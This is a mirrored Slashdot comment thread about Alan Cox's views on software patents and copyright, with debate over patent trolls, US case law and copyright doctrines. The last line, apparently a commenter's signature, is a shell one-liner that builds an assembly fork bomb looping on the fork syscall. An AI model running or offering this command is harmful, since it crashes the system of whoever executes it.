Slashdot Mirror
Alan Cox on Patent Law and GPLv3
tykev writes "Linux kernel guru Alan Cox talks about kernel features, cooperation with hardware vendors, and software patents. From the interview: 'I don't think [Microsoft's patent threats] are the biggest danger. As Microsoft has been finding out recently it is the patent trolls, and organisations with buried patents in interesting areas that are the biggest threat in the USA. The real answer to that problem, however, is to pull the USA back into line with the majority of the world which simply does not recognize patents on software but respects them as literary works subject to copyright law.'"
pull the USA back into line with the majority of the world
I thought the US is the majority of the world...
At least my TV says so.
duh!
Then you can't copy paste code , but every time you write a program from scratch you don't end up infringing 2347 vaguely worded patents preventing you from implementing even the most trivial computer tasks.
I think you do not know what patents en copyrights are.
Because that is the closest thing. Paintings, statues, performances(including dance) can all be protected by copyright. Just because a software application has almost no artistic value does not mean it does not deserve the same kind of protection.
If all software were public domain, there would be nothing preventing people from releasing GPL'd software as binary only, and refusing to share the modifications. (because there is no longer anything that holds them to the copyleft license)
“Common sense is not so common.” — Voltaire
We let manufacturing jobs slip into other countries, and are told to be reassured - we get to keep the good engineering jobs. Yet they also set up the system that does not promote innovation, but rather one that is stacked in favor of the big players but with "good" intentions came the unintended consequences - like how leechers game the system.
How can people stay positive on an economy that seems neither ultimately market-based rather than litigation based and where what used to be virtues (hard work, creativity, taking a chance) are punished by the government and unworthy trolls/big_players get the gains instead?
I think the argument is that the code itself is subject to copywrite law. So I can't copy your code verbatim without your consent. Fair enough -- the GPL, for example, relies on copyright protection. Patents are a whole different beast, though -- if a programme is patentable, not only can't I copy your code, but I can't even independently implement whatever it is that it does. Which is pretty silly.
In the U.S., literary works are one of the categories of work explicitly protected by copyright. Literary works, in that sense, are defined as "works, other than audiovisual works, expressed in words, numbers, or other verbal or numerical symbols or indicia . . ." Cox' point is that copyright protection is enough; you don't also need patent.
The stupid thing is that why should integrating with Windows infringe on patents at all? I paid for software, I should be free to do with it as I please. If they aren't ready to accept me tinkering with it, they should never have sold it in the first place.
When I buy a car, I can take a sludge hammer to it. I can chop it up into tiny pieces and re-sell it. I can repaint it, put new seats in, I can even replace the engine. Why should software be any different? Are there any other industries protected by such a strong veil?
I'm looking to the satire loophole applying to software - that you can use code in order to make fun of it.
We aren't talking about "organically-evolved law", the implication being that such laws evolved over a substantial amount of time and are so ingrained into a society that changing them causes significant disruption. We are talking about recent corruptions/subversions/perversions of organically-evolved law, and such things can be repealed. And they need to repealed soon, before they do become ingrained.
The higher the technology, the sharper that two-edged sword.
So, how exactly does a patent collection defend against patent trolls?
The whole idea of the patent troll is that they don't have any business to defend so that they can use their patents offensively without worrying about (non-karmic) retaliation.
*sigh* back to work...
I don't think that patents are an entirely faulty method of protecting software that is innovative. the real reason I feel that they are horrible for software is their 20 year lifespan. compare that to Moore's law. a single lucky patent of the right idea can guarantee you a monopoly for generations of software. 20 years is likely enough to get you sole rights to an idea for all of its useful lifetime. imagine if the patent for the typewriter were to be set to expire next year? as society continues to advance at faster rates the lifetime of a patent needs to get accordingly shorter or it will stifle creativity and slow human advances to a rate set by the lifespan of the patent.
thats right, I rarely use capitals. deal with it. but don't mistake my laziness for stupidity
Horseshit. There's nothing "organically evolved" about the disaster that is US software patent law. There's one ridiculous appellate ruling, from which the rest of this shitstorm has inexorably followed.
The entire history of time until 1998: for the most part, neither algorithms nor business practices are held to be patentable, since they are both held to be "abstract ideas," which are not patentable. There are exceptions, but they are rare.
The State Street ruling, 1998: Hey, let's change the legal test for patentable software from "causing a physical transformation" to producing "useful, concrete and tangible results". Vague enough for ya? Awesome. And while we're at it, let's also apply the same completely meaningless legal test to business practices, too!
The history of software patents since 1998: One patent on Zocor! One patent on Viagra! SIXTEEN patents by Microsoft of movement and positioning of a cursor! Gee whiz, maybe we should fix this problem. Oh, wait... we wouldn't want to "dismantle organically-evolved law from the top-down", because Anonymous Coward says that such actions always result in DISASTER!
"Dismantle organically-evolved law from the top-down". Fantastic. What the hell does that even *mean*?
The problem becomes, how many ways can you write a single piece of code? At present, you are fairly limited by the languages available as to what you can and cannot do. This means that you could get several pieces of code doing the same task that look nearly identical. Now is this going to be copyright infringement? Variable names could even come out looking very similar if both programs were coded using the same naming convention. There is a huge problem with treating a software copyright like an "art" copyright.
Actually, it's not. Copyright pertains to the expression portion of software, but not the underlying ideas, functionality, etc. Ultimately, maintaining this distinction takes priority over copyrightability. For example, where there is only one or only a limited way of expressing a given idea, the idea and expression are considered to have merged, and there cannot be a copyright, lest it effectively protect the uncopyrightable idea. This is known as the merger docrine.
There's also the scenes a faire doctrine, which makes uncopyrightable things like stock story elements. For example, in horror movies, someone originated the routine bit where the mood is set when you see a wolf howling, silhouetted against the moon. But it's unprotectable since it's a common, stock element. The doctrine is used in the software field, both for elements which would be common across much software, as well as for portions of the code which are dictated by external considerations such as efficiency or platform compatability, and so lack some originality.
Finally, there's the fact that copyright infringement has nothing to do with identicality, but rather has to do with originality. That is, it isn't unlawful for Alice's program to be identical to Bob's program, so long as Alice didn't copy her program from Bob. For many works, independent creation -- when it happens -- can still be tricky to show. But for closed source software, it would be tricky for the alleged infringer to have seen the source. The accused would want to have kept some records to help vindicate themselves, and if they did have some kind of access (e.g. Alice used to work for Bob's company and could reasonably have snuck a copy out), they'd have a pretty strong case. Reverse engineering can qualify as access -- e.g. if you decompile the binary -- but again, the underlying functionality isn't protected by copyright, only the way in which it is expressed can be, subject to the limits discussed above. That's why cleanroom reverse engineering is a good strategy to follow.
You might also want to look at the abstraction-filtration-comparison test in the Altai case to see how courts will often compare two pieces of software to see if there has been infringement.
-- This and all my posts are in the public domain. I am a lawyer. I am not your lawyer, and this is not legal advice.
No it's not. The presence of citations in a quote doesn't affect whether it is infringing or not. Rather, it is good practice for purposes of avoiding plagarism (which isn't illegal). Citing others' work, when it is used, is good academic and professional practice. Nothing to do with the law, though.
-- This and all my posts are in the public domain. I am a lawyer. I am not your lawyer, and this is not legal advice.
Of course! If we stop recognizing software patents, then the terrorists win.
You mean like the American Constitution? Look at the current situation---reject it. Think about what you think should be---write it down. Implement (always a tough bit, difficult to get good program managers).
That only worked because the founders were remarkably principled and selfless individuals. If any of them had been Stalin or Robespierre type figures who believed they should have absolute power, the American revolution would have been a disaster like the French one, or the Russian one. Or pretty much any revolution apart from the American one in fact.
Americans are right to celebrate their founders, particularly George Washington. He could easily have ruled until he died and then found some constitutional device to pass power to his heir. As Jefferson put it
"The moderation and virtue of a single character probably prevented this Revolution from being closed, as most others have been, by a subversion of that liberty it was intended to establish."
Comparing the first post revolutionary leader to a project manager is disingenous in the extreme. You basically need to have an almost perfect leader in this situation who will allow a system to be set up which will constrain his actions to set a precedent for his successors. It's all to easy to use real and imagined threats to the regime as an excuse to set up a tyranny.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;